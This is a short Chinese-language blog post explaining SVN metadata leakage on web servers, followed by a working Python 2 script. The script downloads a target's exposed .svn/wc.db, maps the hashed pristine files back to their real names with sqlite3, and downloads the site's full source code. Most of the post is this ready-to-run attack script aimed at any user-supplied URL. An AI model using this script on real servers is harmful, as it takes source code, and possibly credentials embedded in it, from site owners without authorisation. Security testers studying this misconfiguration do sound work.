.svn利用脚本
0x00 原理简单解析
和git泄露差不多,有一个/.svn的路径,路径下的pristine/目录储存着web源代码,但是文件名被加密了,找回文件名是利用/.svn路径下的wc.db,利用sqlite3分析得到源文件文件名和pristine/目录下文件的对应位置,然后下载下来就可以了
0x01 送上脚本
环境: centos7+python2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| #!/usr/bin/python # -*- coding: UTF-8 -*- import requests import commands
s = requests.session()
url = input('输入网址(形如:"http://120.132.56.20:1515/",加引号阔起来):')
#下载wc.db文件 r = s.get(url+'/.svn/wc.db') with open("wc.db", "wb") as code: code.write(r.content) # 分析数据库 sqlite3 wc.db 'select local_relpath, ".svn/pristine/" || substr(checksum,7,2) || "/" || substr(checksum,7) || ".svn-base" as alpha from NODES;' a,b = commands.getstatusoutput('sqlite3 wc.db \'select local_relpath, ".svn/pristine/" || substr(checksum,7,2) || "/" || substr(checksum,7) || ".svn-base" as alpha from NODES;\'') # 下载源文件 if a == 0: c = b.split('\n') for i in c: j = i.split('|') if j[0] <> '' and j[1] <> '': r = s.get(url+'/'+j[1]) fname = j[0].replace('/','_') code=open(fname,"w") code.write(r.text) code.close() else: print "系统错误,程序退出"
|
说明
写完脚本才发现其实并没什么卵用,既然已经分析出了泄露文件名和源文件的对应关系,其实就可以直接去找自己需要的了,没必要全都下载下来,但是,坚持写博客,和试着用程序解决问题是没错的